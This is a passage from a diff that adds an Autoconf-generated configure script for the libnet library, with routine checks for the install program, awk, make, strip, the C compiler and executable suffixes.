+# SVR4 /usr/ucb/install, which tries to use the nonexistent group "staff"
+# ./install, which can be erroneously created by make from ./install.sh.
+echo "$as_me:$LINENO: checking for a BSD-compatible install" >&5
+echo $ECHO_N "checking for a BSD-compatible install... $ECHO_C" >&6
+if test -z "$INSTALL"; then
+if test "${ac_cv_path_install+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+ IFS=$as_save_IFS
+ test -z "$as_dir" && as_dir=.
+ # Account for people who put trailing slashes in PATH elements.
+case $as_dir/ in
+ ./ | .// | /cC/* | \
+ /etc/* | /usr/sbin/* | /usr/etc/* | /sbin/* | /usr/afsws/bin/* | \
+ /usr/ucb/* ) ;;
+ *)
+ # OSF1 and SCO ODT 3.0 have their own names for install.
+ # Don't use installbsd from OSF since it installs stuff as root
+ # by default.
+ for ac_prog in ginstall scoinst install; do
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if $as_executable_p "$as_dir/$ac_prog$ac_exec_ext"; then
+ if test $ac_prog = install &&
+ grep dspmsg "$as_dir/$ac_prog$ac_exec_ext" >/dev/null 2>&1; then
+ # AIX install. It has an incompatible calling convention.
+ :
+ elif test $ac_prog = install &&
+ grep pwplus "$as_dir/$ac_prog$ac_exec_ext" >/dev/null 2>&1; then
+ # program-specific install script used by HP pwplus--don't use.
+ :
+ else
+ ac_cv_path_install="$as_dir/$ac_prog$ac_exec_ext -c"
+ break 3
+ fi
+ fi
+ done
+ done
+ ;;
+esac
+done
+
+
+fi
+ if test "${ac_cv_path_install+set}" = set; then
+ INSTALL=$ac_cv_path_install
+ else
+ # As a last resort, use the slow shell script. We don't cache a
+ # path for INSTALL within a source directory, because that will
+ # break other packages using the cache if that directory is
+ # removed, or if the path is relative.
+ INSTALL=$ac_install_sh
+ fi
+fi
+echo "$as_me:$LINENO: result: $INSTALL" >&5
+echo "${ECHO_T}$INSTALL" >&6
+
+# Use test -z because SunOS4 sh mishandles braces in ${var-val}.
+# It thinks the first close brace ends the variable substitution.
+test -z "$INSTALL_PROGRAM" && INSTALL_PROGRAM='${INSTALL}'
+
+test -z "$INSTALL_SCRIPT" && INSTALL_SCRIPT='${INSTALL}'
+
+test -z "$INSTALL_DATA" && INSTALL_DATA='${INSTALL} -m 644'
+
+echo "$as_me:$LINENO: checking whether build environment is sane" >&5
+echo $ECHO_N "checking whether build environment is sane... $ECHO_C" >&6
+# Just in case
+sleep 1
+echo timestamp > conftest.file
+# Do `set' in a subshell so we don't clobber the current shell's
+# arguments. Must try -L first in case configure is actually a
+# symlink; some systems play weird games with the mod time of symlinks
+# (eg FreeBSD returns the mod time of the symlink's containing
+# directory).
+if (
+ set X `ls -Lt $srcdir/configure conftest.file 2> /dev/null`
+ if test "$*" = "X"; then
+ # -L didn't work.
+ set X `ls -t $srcdir/configure conftest.file`
+ fi
+ rm -f conftest.file
+ if test "$*" != "X $srcdir/configure conftest.file" \
+ && test "$*" != "X conftest.file $srcdir/configure"; then
+
+ # If neither matched, then we have a broken ls. This can happen
+ # if, for instance, CONFIG_SHELL is bash and it inherits a
+ # broken ls alias from the environment. This has actually
+ # happened. Such a system could not be considered "sane".
+ { { echo "$as_me:$LINENO: error: ls -t appears to fail. Make sure there is not a broken
+alias in your environment" >&5
+echo "$as_me: error: ls -t appears to fail. Make sure there is not a broken
+alias in your environment" >&2;}
+ { (exit 1); exit 1; }; }
+ fi
+
+ test "$2" = conftest.file
+ )
+then
+ # Ok.
+ :
+else
+ { { echo "$as_me:$LINENO: error: newly created file is older than distributed files!
+Check your system clock" >&5
+echo "$as_me: error: newly created file is older than distributed files!
+Check your system clock" >&2;}
+ { (exit 1); exit 1; }; }
+fi
+echo "$as_me:$LINENO: result: yes" >&5
+echo "${ECHO_T}yes" >&6
+test "$program_prefix" != NONE &&
+ program_transform_name="s,^,$program_prefix,;$program_transform_name"
+# Use a double $ so make ignores it.
+test "$program_suffix" != NONE &&
+ program_transform_name="s,\$,$program_suffix,;$program_transform_name"
+# Double any \ or $. echo might interpret backslashes.
+# By default was `s,x,x', remove it if useless.
+cat <<\_ACEOF >conftest.sed
+s/[\\$]/&&/g;s/;s,x,x,$//
+_ACEOF
+program_transform_name=`echo $program_transform_name | sed -f conftest.sed`
+rm conftest.sed
+
+
+# expand $ac_aux_dir to an absolute path
+am_aux_dir=`cd $ac_aux_dir && pwd`
+
+test x"${MISSING+set}" = xset || MISSING="\${SHELL} $am_aux_dir/missing"
+# Use eval to expand $SHELL
+if eval "$MISSING --run true"; then
+ am_missing_run="$MISSING --run "
+else
+ am_missing_run=
+ { echo "$as_me:$LINENO: WARNING: \`missing' script is too old or missing" >&5
+echo "$as_me: WARNING: \`missing' script is too old or missing" >&2;}
+fi
+
+for ac_prog in gawk mawk nawk awk
+do
+ # Extract the first word of "$ac_prog", so it can be a program name with args.
+set dummy $ac_prog; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_AWK+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ if test -n "$AWK"; then
+ ac_cv_prog_AWK="$AWK" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+ IFS=$as_save_IFS
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+ ac_cv_prog_AWK="$ac_prog"
+ echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+done
+done
+
+fi
+fi
+AWK=$ac_cv_prog_AWK
+if test -n "$AWK"; then
+ echo "$as_me:$LINENO: result: $AWK" >&5
+echo "${ECHO_T}$AWK" >&6
+else
+ echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+ test -n "$AWK" && break
+done
+
+echo "$as_me:$LINENO: checking whether ${MAKE-make} sets \$(MAKE)" >&5
+echo $ECHO_N "checking whether ${MAKE-make} sets \$(MAKE)... $ECHO_C" >&6
+set dummy ${MAKE-make}; ac_make=`echo "$2" | sed 'y,./+-,__p_,'`
+if eval "test \"\${ac_cv_prog_make_${ac_make}_set+set}\" = set"; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ cat >conftest.make <<\_ACEOF
+all:
+ @echo 'ac_maketemp="$(MAKE)"'
+_ACEOF
+# GNU make sometimes prints "make[1]: Entering...", which would confuse us.
+eval `${MAKE-make} -f conftest.make 2>/dev/null | grep temp=`
+if test -n "$ac_maketemp"; then
+ eval ac_cv_prog_make_${ac_make}_set=yes
+else
+ eval ac_cv_prog_make_${ac_make}_set=no
+fi
+rm -f conftest.make
+fi
+if eval "test \"`echo '$ac_cv_prog_make_'${ac_make}_set`\" = yes"; then
+ echo "$as_me:$LINENO: result: yes" >&5
+echo "${ECHO_T}yes" >&6
+ SET_MAKE=
+else
+ echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+ SET_MAKE="MAKE=${MAKE-make}"
+fi
+
+ # test to see if srcdir already configured
+if test "`cd $srcdir && pwd`" != "`pwd`" &&
+ test -f $srcdir/config.status; then
+ { { echo "$as_me:$LINENO: error: source directory already configured; run \"make distclean\" there first" >&5
+echo "$as_me: error: source directory already configured; run \"make distclean\" there first" >&2;}
+ { (exit 1); exit 1; }; }
+fi
+
+# Define the identity of the package.
+ PACKAGE=libnet
+ VERSION=$LIBNET_VERSION
+
+
+cat >>confdefs.h <<_ACEOF
+@%:@define PACKAGE "$PACKAGE"
+_ACEOF
+
+
+cat >>confdefs.h <<_ACEOF
+@%:@define VERSION "$VERSION"
+_ACEOF
+
+# Some tools Automake needs.
+
+ACLOCAL=${ACLOCAL-"${am_missing_run}aclocal-${am__api_version}"}
+
+
+AUTOCONF=${AUTOCONF-"${am_missing_run}autoconf"}
+
+
+AUTOMAKE=${AUTOMAKE-"${am_missing_run}automake-${am__api_version}"}
+
+
+AUTOHEADER=${AUTOHEADER-"${am_missing_run}autoheader"}
+
+
+MAKEINFO=${MAKEINFO-"${am_missing_run}makeinfo"}
+
+
+AMTAR=${AMTAR-"${am_missing_run}tar"}
+
+install_sh=${install_sh-"$am_aux_dir/install-sh"}
+
+# Installed binaries are usually stripped using `strip' when the user
+# run `make install-strip'. However `strip' might not be the right
+# tool to use in cross-compilation environments, therefore Automake
+# will honor the `STRIP' environment variable to overrule this program.
+if test "$cross_compiling" != no; then
+ if test -n "$ac_tool_prefix"; then
+ # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args.
+set dummy ${ac_tool_prefix}strip; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_STRIP+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ if test -n "$STRIP"; then
+ ac_cv_prog_STRIP="$STRIP" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+ IFS=$as_save_IFS
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+ ac_cv_prog_STRIP="${ac_tool_prefix}strip"
+ echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+done
+done
+
+fi
+fi
+STRIP=$ac_cv_prog_STRIP
+if test -n "$STRIP"; then
+ echo "$as_me:$LINENO: result: $STRIP" >&5
+echo "${ECHO_T}$STRIP" >&6
+else
+ echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+fi
+if test -z "$ac_cv_prog_STRIP"; then
+ ac_ct_STRIP=$STRIP
+ # Extract the first word of "strip", so it can be a program name with args.
+set dummy strip; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_ac_ct_STRIP+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ if test -n "$ac_ct_STRIP"; then
+ ac_cv_prog_ac_ct_STRIP="$ac_ct_STRIP" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+ IFS=$as_save_IFS
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+ ac_cv_prog_ac_ct_STRIP="strip"
+ echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+done
+done
+
+ test -z "$ac_cv_prog_ac_ct_STRIP" && ac_cv_prog_ac_ct_STRIP=":"
+fi
+fi
+ac_ct_STRIP=$ac_cv_prog_ac_ct_STRIP
+if test -n "$ac_ct_STRIP"; then
+ echo "$as_me:$LINENO: result: $ac_ct_STRIP" >&5
+echo "${ECHO_T}$ac_ct_STRIP" >&6
+else
+ echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+ STRIP=$ac_ct_STRIP
+else
+ STRIP="$ac_cv_prog_STRIP"
+fi
+
+fi
+INSTALL_STRIP_PROGRAM="\${SHELL} \$(install_sh) -c -s"
+
+# We need awk for the "check" target. The system "awk" is bad on
+# some platforms.
+
+
+
+# Add the stamp file to the list of files AC keeps track of,
+# along with our hook.
+ ac_config_headers="$ac_config_headers include/config.h"
+
+
+
+echo "$as_me:$LINENO: checking whether to enable maintainer-specific portions of Makefiles" >&5
+echo $ECHO_N "checking whether to enable maintainer-specific portions of Makefiles... $ECHO_C" >&6
+ # Check whether --enable-maintainer-mode or --disable-maintainer-mode was given.
+if test "${enable_maintainer_mode+set}" = set; then
+ enableval="$enable_maintainer_mode"
+ USE_MAINTAINER_MODE=$enableval
+else
+ USE_MAINTAINER_MODE=no
+fi;
+ echo "$as_me:$LINENO: result: $USE_MAINTAINER_MODE" >&5
+echo "${ECHO_T}$USE_MAINTAINER_MODE" >&6
+
+
+if test $USE_MAINTAINER_MODE = yes; then
+ MAINTAINER_MODE_TRUE=
+ MAINTAINER_MODE_FALSE='#'
+else
+ MAINTAINER_MODE_TRUE='#'
+ MAINTAINER_MODE_FALSE=
+fi
+
+ MAINT=$MAINTAINER_MODE_TRUE
+
+
+
+ac_ext=c
+ac_cpp='$CPP $CPPFLAGS'
+ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
+ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
+ac_compiler_gnu=$ac_cv_c_compiler_gnu
+if test -n "$ac_tool_prefix"; then
+ # Extract the first word of "${ac_tool_prefix}gcc", so it can be a program name with args.
+set dummy ${ac_tool_prefix}gcc; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_CC+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ if test -n "$CC"; then
+ ac_cv_prog_CC="$CC" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+ IFS=$as_save_IFS
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+ ac_cv_prog_CC="${ac_tool_prefix}gcc"
+ echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+done
+done
+
+fi
+fi
+CC=$ac_cv_prog_CC
+if test -n "$CC"; then
+ echo "$as_me:$LINENO: result: $CC" >&5
+echo "${ECHO_T}$CC" >&6
+else
+ echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+fi
+if test -z "$ac_cv_prog_CC"; then
+ ac_ct_CC=$CC
+ # Extract the first word of "gcc", so it can be a program name with args.
+set dummy gcc; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_ac_ct_CC+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ if test -n "$ac_ct_CC"; then
+ ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+ IFS=$as_save_IFS
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+ ac_cv_prog_ac_ct_CC="gcc"
+ echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+done
+done
+
+fi
+fi
+ac_ct_CC=$ac_cv_prog_ac_ct_CC
+if test -n "$ac_ct_CC"; then
+ echo "$as_me:$LINENO: result: $ac_ct_CC" >&5
+echo "${ECHO_T}$ac_ct_CC" >&6
+else
+ echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+ CC=$ac_ct_CC
+else
+ CC="$ac_cv_prog_CC"
+fi
+
+if test -z "$CC"; then
+ if test -n "$ac_tool_prefix"; then
+ # Extract the first word of "${ac_tool_prefix}cc", so it can be a program name with args.
+set dummy ${ac_tool_prefix}cc; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_CC+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ if test -n "$CC"; then
+ ac_cv_prog_CC="$CC" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+ IFS=$as_save_IFS
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+ ac_cv_prog_CC="${ac_tool_prefix}cc"
+ echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+done
+done
+
+fi
+fi
+CC=$ac_cv_prog_CC
+if test -n "$CC"; then
+ echo "$as_me:$LINENO: result: $CC" >&5
+echo "${ECHO_T}$CC" >&6
+else
+ echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+fi
+if test -z "$ac_cv_prog_CC"; then
+ ac_ct_CC=$CC
+ # Extract the first word of "cc", so it can be a program name with args.
+set dummy cc; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_ac_ct_CC+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ if test -n "$ac_ct_CC"; then
+ ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+ IFS=$as_save_IFS
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+ ac_cv_prog_ac_ct_CC="cc"
+ echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+done
+done
+
+fi
+fi
+ac_ct_CC=$ac_cv_prog_ac_ct_CC
+if test -n "$ac_ct_CC"; then
+ echo "$as_me:$LINENO: result: $ac_ct_CC" >&5
+echo "${ECHO_T}$ac_ct_CC" >&6
+else
+ echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+ CC=$ac_ct_CC
+else
+ CC="$ac_cv_prog_CC"
+fi
+
+fi
+if test -z "$CC"; then
+ # Extract the first word of "cc", so it can be a program name with args.
+set dummy cc; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_CC+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ if test -n "$CC"; then
+ ac_cv_prog_CC="$CC" # Let the user override the test.
+else
+ ac_prog_rejected=no
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+ IFS=$as_save_IFS
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+ if test "$as_dir/$ac_word$ac_exec_ext" = "/usr/ucb/cc"; then
+ ac_prog_rejected=yes
+ continue
+ fi
+ ac_cv_prog_CC="cc"
+ echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+done
+done
+
+if test $ac_prog_rejected = yes; then
+ # We found a bogon in the path, so make sure we never use it.
+ set dummy $ac_cv_prog_CC
+ shift
+ if test $@%:@ != 0; then
+ # We chose a different compiler from the bogus one.
+ # However, it has the same basename, so the bogon will be chosen
+ # first if we set CC to just the basename; use the full file name.
+ shift
+ ac_cv_prog_CC="$as_dir/$ac_word${1+' '}$@"
+ fi
+fi
+fi
+fi
+CC=$ac_cv_prog_CC
+if test -n "$CC"; then
+ echo "$as_me:$LINENO: result: $CC" >&5
+echo "${ECHO_T}$CC" >&6
+else
+ echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+fi
+if test -z "$CC"; then
+ if test -n "$ac_tool_prefix"; then
+ for ac_prog in cl
+ do
+ # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
+set dummy $ac_tool_prefix$ac_prog; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_CC+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ if test -n "$CC"; then
+ ac_cv_prog_CC="$CC" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+ IFS=$as_save_IFS
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+ ac_cv_prog_CC="$ac_tool_prefix$ac_prog"
+ echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+done
+done
+
+fi
+fi
+CC=$ac_cv_prog_CC
+if test -n "$CC"; then
+ echo "$as_me:$LINENO: result: $CC" >&5
+echo "${ECHO_T}$CC" >&6
+else
+ echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+ test -n "$CC" && break
+ done
+fi
+if test -z "$CC"; then
+ ac_ct_CC=$CC
+ for ac_prog in cl
+do
+ # Extract the first word of "$ac_prog", so it can be a program name with args.
+set dummy $ac_prog; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_ac_ct_CC+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ if test -n "$ac_ct_CC"; then
+ ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+ IFS=$as_save_IFS
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+ ac_cv_prog_ac_ct_CC="$ac_prog"
+ echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+done
+done
+
+fi
+fi
+ac_ct_CC=$ac_cv_prog_ac_ct_CC
+if test -n "$ac_ct_CC"; then
+ echo "$as_me:$LINENO: result: $ac_ct_CC" >&5
+echo "${ECHO_T}$ac_ct_CC" >&6
+else
+ echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+ test -n "$ac_ct_CC" && break
+done
+
+ CC=$ac_ct_CC
+fi
+
+fi
+
+
+test -z "$CC" && { { echo "$as_me:$LINENO: error: no acceptable C compiler found in \$PATH
+See \`config.log' for more details." >&5
+echo "$as_me: error: no acceptable C compiler found in \$PATH
+See \`config.log' for more details." >&2;}
+ { (exit 1); exit 1; }; }
+
+# Provide some information about the compiler.
+echo "$as_me:$LINENO:" \
+ "checking for C compiler version" >&5
+ac_compiler=`set X $ac_compile; echo $2`
+{ (eval echo "$as_me:$LINENO: \"$ac_compiler --version </dev/null >&5\"") >&5
+ (eval $ac_compiler --version </dev/null >&5) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }
+{ (eval echo "$as_me:$LINENO: \"$ac_compiler -v </dev/null >&5\"") >&5
+ (eval $ac_compiler -v </dev/null >&5) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }
+{ (eval echo "$as_me:$LINENO: \"$ac_compiler -V </dev/null >&5\"") >&5
+ (eval $ac_compiler -V </dev/null >&5) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }
+
+cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+
+int
+main ()
+{
+
+ ;
+ return 0;
+}
+_ACEOF
+ac_clean_files_save=$ac_clean_files
+ac_clean_files="$ac_clean_files a.out a.exe b.out"
+# Try to create an executable without -o first, disregard a.out.
+# It will help us diagnose broken compilers, and finding out an intuition
+# of exeext.
+echo "$as_me:$LINENO: checking for C compiler default output" >&5
+echo $ECHO_N "checking for C compiler default output... $ECHO_C" >&6
+ac_link_default=`echo "$ac_link" | sed 's/ -o *conftest[^ ]*//'`
+if { (eval echo "$as_me:$LINENO: \"$ac_link_default\"") >&5
+ (eval $ac_link_default) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }; then
+ # Find the output, starting from the most likely. This scheme is
+# not robust to junk in `.', hence go to wildcards (a.*) only as a last
+# resort.
+
+# Be careful to initialize this variable, since it used to be cached.
+# Otherwise an old cache value of `no' led to `EXEEXT = no' in a Makefile.
+ac_cv_exeext=
+# b.out is created by i960 compilers.
+for ac_file in a_out.exe a.exe conftest.exe a.out conftest a.* conftest.* b.out
+do
+ test -f "$ac_file" || continue
+ case $ac_file in
+ *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.o | *.obj )
+ ;;
+ conftest.$ac_ext )
+ # This is the source file.
+ ;;
+ [ab].out )
+ # We found the default executable, but exeext='' is most
+ # certainly right.
+ break;;
+ *.* )
+ ac_cv_exeext=`expr "$ac_file" : '[^.]*\(\..*\)'`
+ # FIXME: I believe we export ac_cv_exeext for Libtool,
+ # but it would be cool to find out if it's true. Does anybody
+ # maintain Libtool? --akim.
+ export ac_cv_exeext
+ break;;
+ * )
+ break;;
+ esac
+done
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+{ { echo "$as_me:$LINENO: error: C compiler cannot create executables
+See \`config.log' for more details." >&5
+echo "$as_me: error: C compiler cannot create executables
+See \`config.log' for more details." >&2;}
+ { (exit 77); exit 77; }; }
+fi
+
+ac_exeext=$ac_cv_exeext
+echo "$as_me:$LINENO: result: $ac_file" >&5
+echo "${ECHO_T}$ac_file" >&6
+
+# Check the compiler produces executables we can run. If not, either
+# the compiler is broken, or we cross compile.
+echo "$as_me:$LINENO: checking whether the C compiler works" >&5
+echo $ECHO_N "checking whether the C compiler works... $ECHO_C" >&6
+# FIXME: These cross compiler hacks should be removed for Autoconf 3.0
+# If not cross compiling, check that we can run a simple program.
+if test "$cross_compiling" != yes; then
+ if { ac_try='./$ac_file'
+ { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+ (eval $ac_try) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }; }; then
+ cross_compiling=no
+ else
+ if test "$cross_compiling" = maybe; then
+ cross_compiling=yes
+ else
+ { { echo "$as_me:$LINENO: error: cannot run C compiled programs.
+If you meant to cross compile, use \`--host'.
+See \`config.log' for more details." >&5
+echo "$as_me: error: cannot run C compiled programs.
+If you meant to cross compile, use \`--host'.
+See \`config.log' for more details." >&2;}
+ { (exit 1); exit 1; }; }
+ fi
+ fi
+fi
+echo "$as_me:$LINENO: result: yes" >&5
+echo "${ECHO_T}yes" >&6
+
+rm -f a.out a.exe conftest$ac_cv_exeext b.out
+ac_clean_files=$ac_clean_files_save
+# Check the compiler produces executables we can run. If not, either
+# the compiler is broken, or we cross compile.
+echo "$as_me:$LINENO: checking whether we are cross compiling" >&5
+echo $ECHO_N "checking whether we are cross compiling... $ECHO_C" >&6
+echo "$as_me:$LINENO: result: $cross_compiling" >&5
+echo "${ECHO_T}$cross_compiling" >&6
+
+echo "$as_me:$LINENO: checking for suffix of executables" >&5
+echo $ECHO_N "checking for suffix of executables... $ECHO_C" >&6
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+ (eval $ac_link) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }; then
+ # If both `conftest.exe' and `conftest' are `present' (well, observable)
+# catch `conftest.exe'. For instance with Cygwin, `ls conftest' will
+# work properly (i.e., refer to `conftest.exe'), while it won't with
+# `rm'.
+for ac_file in conftest.exe conftest conftest.*; do
+ test -f "$ac_file" || continue
+ case $ac_file in
+ *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.o | *.obj ) ;;
+ *.* ) ac_cv_exeext=`expr "$ac_file" : '[^.]*\(\..*\)'`
+ export ac_cv_exeext
+ break;;
+ * ) break;;
+ esac
+done
+else
+ { { echo "$as_me:$LINENO: error: cannot compute suffix of executables: cannot compile and link
+See \`config.log' for more details." >&5
+echo "$as_me: error: cannot compute suffix of executables: cannot compile and link
+See \`config.log' for more details." >&2;}
+ { (exit 1); exit 1; }; }
+fi
+
+rm -f conftest$ac_cv_exeext
+echo "$as_me:$LINENO: result: $ac_cv_exeext" >&5
+echo "${ECHO_T}$ac_cv_exeext" >&6
+
+rm -f conftest.$ac_ext
+EXEEXT=$ac_cv_exeext
+ac_exeext=$EXEEXT
+echo "$as_me:$LINENO: checking for suffix of object files" >&5
+echo $ECHO_N "checking for suffix of object files... $ECHO_C" >&6
+if test "${ac_cv_objext+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+
+int
+main ()
+{
+
+ ;
+ return 0;
+}
+_ACEOF
